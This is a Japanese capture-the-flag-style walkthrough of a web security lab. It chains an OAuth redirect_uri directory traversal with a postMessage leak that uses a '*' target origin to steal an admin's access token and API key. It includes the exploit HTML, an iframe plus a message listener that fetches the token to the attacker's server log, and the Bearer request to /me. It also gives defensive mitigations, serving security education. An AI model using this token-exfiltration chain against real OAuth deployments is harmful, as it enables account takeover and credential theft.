Hello there, ('ω')ノ
ねらい
このLABは、OAuthログインのredirect_uri検証の不備と、クライアント側にあるpostMessageの取り扱いミスを連鎖させて、管理者(admin)のアクセストークンを奪い、/me APIからAPIキーを盗むのがゴールです。 攻撃の核心は次の2点:
- OAuth側:redirect_uriにディレクトリトラバーサル(../)が通るため、アクセストークンが任意のクライアント内ページへ帰ってくる。
- クライアント側:/post/comment/comment-form が window.location.href(=URLフラグメントの#access_token含む)を postMessageで親へ送信、しかも送信先オリジンを“*”にしている。
この2つを繋ぐと、攻撃者ページ(Exploit Server)を親フレーム、comment-form を子フレームにして、子→親へトークンが漏洩します。
全体像(最初に流れを掴む)
- BurpでOAuthの認可リクエスト(/auth?client_id=…&redirect_uri=…&response_type=token)を観察。
- redirect_uriに/oauth-callback/../post/comment/comment-formを与えても通る(=任意ページへ遷移可能)。
- /post/comment/comment-form は読み込み時に window.location.href を postMessage('*') で親ウィンドウへ送信。
- Exploit ServerでiframeにOAuth認可URLを張り、親側でmessageイベントを受信してトークンを自サイトへ送信(ログ収集)。
- 被害者(admin)がExploitを開くと、#access_tokenがログに現れる。
- そのトークンを使って/meに Authorization: Bearer でアクセス → APIキー取得 → 提出。
実践:一手ずつ「なぜそうするか」を添えて
1) OAuthフローを覗き、脆弱なredirect_uriを特定
- 操作:Burpでログイン操作一式をプロキシ。/auth?client_id=…&redirect_uri=…&response_type=token を見つける。
- なぜ:response_type=token は暗黙フローで、アクセストークンがフラグメント(#access_token=…)としてredirect_uriに返る。従って返送先のページが「フラグメントを扱う」能力を持つかが重要。
2) コメントフォーム(/post/comment/comment-form)の副作用を見抜く
- 操作:Burpでサイト全体を軽くスキャン。各ブログ記事に読み込まれるiframeとして /post/comment/comment-form を発見。
- 観察:このページは読み込み時にwindow.postMessageを使い、window.location.hrefを親へ送っている。targetOrigin='*' なのでどの親でも受け取れる。
- なぜ:フラグメントは通常HTTPリクエストに送られないが、JavaScriptからは参照可能。子フレームが自発的に親へ送ってくれれば、攻撃者親が#access_tokenをキャプチャできる。
3) Exploit Serverで“親”を用意(iframeでOAuth→コメントフォームへ)
Burpの履歴で GET /auth?client_id=… を右クリック → Copy URL。Exploit Serverで次のようなHTMLを作成:
<iframe src="https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/auth ?client_id=YOUR-LAB-CLIENT_ID &redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form &response_type=token &nonce=-1552239120 &scope=openid%20profile%20email"></iframe> <script> // 子フレーム(comment-form)から届くメッセージを受け取り、アクセスログへ記録 window.addEventListener('message', function(e) { // e.data.data に window.location.href が入る想定 fetch("/" + encodeURIComponent(e.data.data)); }, false); </script>
- なぜ:../ によるディレクトリトラバーサルで、OAuthサーバが想定する /oauth-callback から /post/comment/comment-form に正規化されて遷移。
- 効果:トークンが#access_token=…としてcomment-formのURL末尾に付き、comment-formがhrefをpostMessage → 親(攻撃者ページ)が受信 → fetchで攻撃者サーバのアクセスログに落ちる。
4) 自分で動作確認(View exploit → Access log)
- 操作:ExploitをStore → View exploit。iframeが正常にロードされたら、Exploit Serverのアクセスログを確認。
- 期待:リクエストパスに https://…/post/comment/comment-form#access_token=… がURLエンコードされて記録されている。
- なぜ:fetch("/" + encodeURIComponent(…)) により、フラグメントを含む完全URLがサーバログへ残る。
5) 被害者へ配布(Deliver exploit to victim)
- 操作:Exploit ServerでDeliver to victim。管理者は常にOAuthにログイン済みセッションを持っている前提。
- 期待:数秒後、アクセスログにadminの#access_tokenが現れる。
- 注意:URLエンコード文字は除いてトークン本体だけをコピー。
6) トークンを使って /me を叩き、APIキーを奪取
Burp Repeaterで GET /me を作成/取得し、ヘッダを書き換える:
GET /me HTTP/2 Host: oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net Authorization: Bearer <ADMIN_ACCESS_TOKEN>
- 観察:被害者(admin)のプロフィールJSONが返り、API Keyを取得。
- 最後:ラボページ上部のSubmit solutionからAPIキーを提出 → クリア。
仕組みの理解(なぜこのチェーンで漏れるのか)
- フラグメントはHTTPリクエストに送られないため、サーバ側で直接読むのは困難。しかしJSはwindow.location.hash/hrefで参照可能。
- comment-formはhref全体(=フラグメント付き)をpostMessageで親へ送る。
- しかもtargetOrigin='*'ゆえ、どの親(攻撃者オリジン)でも受け取れる。
- OAuth側がredirect_uriのパス正規化(../)を許すため、安全と想定したコールバック以外(comment-form)へトークンが帰ってしまう。 → 二重の不備が“プロキシページ経由”のトークン漏洩を成立させる。
つまずきポイント&対処
トークンがログに出ない
- response_type=tokenを確認(codeだとフラグメントでは返らない)。
- redirect_uriの../が正しく効いているか。URL全体を再確認。
- comment-formのpostMessageが本当に'*'宛かを再チェック。
- ブラウザはChrome(またはBurpのChromium)推奨。別ブラウザ拡張の干渉に注意。
ログには出たが、トークンが壊れている
- ログのURLエンコードを正しくデコード。%23は#。Bearerに入れるのはaccess_token本体のみ。
- コピー時に余計な記号やクォートが混入していないか。
/me が 401
- 期限切れやスコープ不足の可能性。再度被害者へDeliverし、直後のトークンを試す。
- Hostやパスが違っていないか(OAuth APIのエンドポイントを一致させる)。
実務目線の防御策
- redirect_uriの厳格なホワイトリスト:完全一致(スキーム、ホスト、ポート、正規化後のパスを含む)。../ や %2e%2eは即拒否。
- postMessageの安全化:targetOriginを'*'にしない。受信側もorigin検証+データ検証。
- フラグメント依存の返却を避ける:response_mode=form_post(コード/トークンをPOSTボディで返却)などを検討。
- PKCEや最新フローの採用:Implicit(token返却)は避け、Authorization Code + PKCEへ移行。
- X-Frame-Options/CSP:comment-formの第三者フレーム埋め込みを制限。
- 監査ログ:短時間に複数のredirect_uriや未知パスへの遷移があったら警告。
まとめ(思考パターンを定着させる)
- OAuthの返却先(redirect_uri)に自由度がないかを疑う(パス正規化/サブパス許容)。
- クライアント側でフラグメントを扱って外部へ流す“プロキシ”になり得るページ(iframe+postMessage)を探す。
- 親(攻撃者)←子(被害サイト)のpostMessageで#access_tokenを回収する設計を組む。
- 取得トークンで/meを叩き、APIキー等を奪取。
この「サーバ検証の穴(redirect_uri)」 × 「クライアントの情報漏えい(postMessage '*'}」の組み合わせは、実案件でも頻出します。OAuthとフロントの両面からデータの流れを追い、誰が誰に何を渡しているかを丁寧に可視化するのが勝ち筋です。
Best regards, (^^ゞ